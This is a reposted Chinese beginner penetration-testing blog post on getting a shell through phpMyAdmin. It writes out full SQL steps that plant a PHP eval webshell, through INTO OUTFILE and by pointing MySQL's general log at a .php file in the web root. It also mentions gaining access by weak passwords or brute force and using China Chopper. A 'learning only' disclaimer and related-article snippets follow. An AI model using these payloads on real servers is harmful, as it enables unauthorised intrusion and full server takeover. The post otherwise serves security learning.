【渗透测试小白系列】之利用PHPMyAdmin Getshell

摘要:
本文仅供学习和交流,严禁非法使用!!!˃“打开log.php文件,发现木马程序已写入浏览器进行访问,并设置k值以查看php信息。如果GetShell成功,您也可以使用菜刀GetShell

(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

该文章参考https://www.jianshu.com/p/ddd41b841c36很详细,感谢!!!本文仅为了学习交流,严禁非法使用!!!

一、使用into outfile写入一句话木马

(注:使用这个方法需要知道网站的绝对路径,可以通过报错获取路径、通过phpinfo.php等等,然后写一句话木马到源码的存放位置中)

1.查看全局变量中的安全文件优先级,如果该参数设置为空或指定的文件夹才可利用

show global variables like ‘%secure-file-prie%’;

【渗透测试小白系列】之利用PHPMyAdmin Getshell第1张

  • 当secure_file_priv的值为NULL时,表示限制MySQL不允许导入导出,要想使得木马写入成功,则需要在mysql文件夹下修改my.ini 文件在[mysqld]内加入secure_file_priv =""
select “<?php @eval($_POST[w]);?>” into outfile “/var/www/html/muma.php”

二、利用PHPMyAdmin日志文件Getshell

常见的日志文件分为:业务(常见服务)日志和系统(Windows或Linux)日志

(注:MySQL 版本>5.0会创建日志文件,日志文件是全局遍历,并可读写)

  • 通过弱口令或爆破的方式登录PHPMyAdmin,执行SQL语句
select @@datadir;  查看数据存放位置
  • 猜测源码的存放位置,D:phpstudy_prowww

【渗透测试小白系列】之利用PHPMyAdmin Getshell第2张

  • 查看日志状态
show variables like '%general%';

【渗透测试小白系列】之利用PHPMyAdmin Getshell第3张

  • 开启日志记录功能,并修改记录的路径和文件名
set global general_log='on';

【渗透测试小白系列】之利用PHPMyAdmin Getshell第4张

set global general_log_file='F:\phpStudy_64\phpstudy_pro\www\log.php'

【渗透测试小白系列】之利用PHPMyAdmin Getshell第5张

  • 查看日志状态
show variables like '%general%';

【渗透测试小白系列】之利用PHPMyAdmin Getshell第6张

  • 在该文件中写木马
select "<?php eval($_POST[k]);?>"

【渗透测试小白系列】之利用PHPMyAdmin Getshell第7张

  • 打开log.php文件,发现木马已被写入

【渗透测试小白系列】之利用PHPMyAdmin Getshell第8张

  • 浏览器访问,并设置k值,可以看到PHP信息,GetShell成功

【渗透测试小白系列】之利用PHPMyAdmin Getshell第9张

  • 也可使用菜刀GetShell

免责声明:文章转载自《【渗透测试小白系列】之利用PHPMyAdmin Getshell》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇MySQL如何找出未提交事务信息Android Studio的android 模拟器启动黑屏问题解决下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Ubuntu安装LAMP环境(PHP5.6) 以及下载安装phpmyadmin

参考路径: http://blog.nciaer.com/?p=133 修改apache(2.4.18)的web路径时, 需要将 /etc/apache2/sites-available/000default.config 和   /etc/apache2/apache2.conf 中的/var/www/html 改成相应路径即可 安装phpmyadmin...

构建伪Update服务器工具isr-evilgrade

构建伪Update服务器工具isr-evilgrade   现在大部分软件都提供更新功能。软件一旦运行,就自动检查对应的Update服务器。如果发现新版本,就会提示用户,并进行下载和安装。而用户往往相信任提示,会选择进行升级。如果更新策略制定不严密,就存在严重漏洞。   基于这个社工思路,渗透测试人员可以轻松控制目标主机。Kali Linux提供了一款工具...

phpmyadmin数据库密码的设置

  用phpMyAdmin修改mysql数据库密码   修改mysql数据库密码方法有很多,这里向大家演示一种比较简单的方法,利用phpMyAdmin修改。   工具/原料 phpMyAdmin软件 mysql数据库 方法/步骤   初始数据库密码为空。   第一步,点击phpMyAdmin里的用户选项。...

phpmyadmin创建数据库无权限

问题描述: 在使用wamps时,登录localhost/phpmyadmin后,在数据库页面创建一个新的数据库时,1.显示“无权限操作”,2.“账户”页面无法修改权限操作,且最底端的注意显示用户权限不够。 解决方法: 1.尝试了网上说的修改配置文件config.inc.php(修改phpmyadmin的登陆方式:cookie和http、添加 $cfg['S...

渗透测试介绍 java程序员

1 定义 渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。 我们认为渗透测试还具...

WAMP环境搭建

Windows+Apache搭建PHP开发环境 第一步:下载安装的文件 1. Apache 版本 httpd-2.2.21-win32-x86-no_ssl.msi2. MySQL 版本 mysql-5.5.19-win32.msi3. PHP 版本 php-5.3.5-Win32-VC6-x86.zip4. phpMyadmin 版本 phpMyAdmi...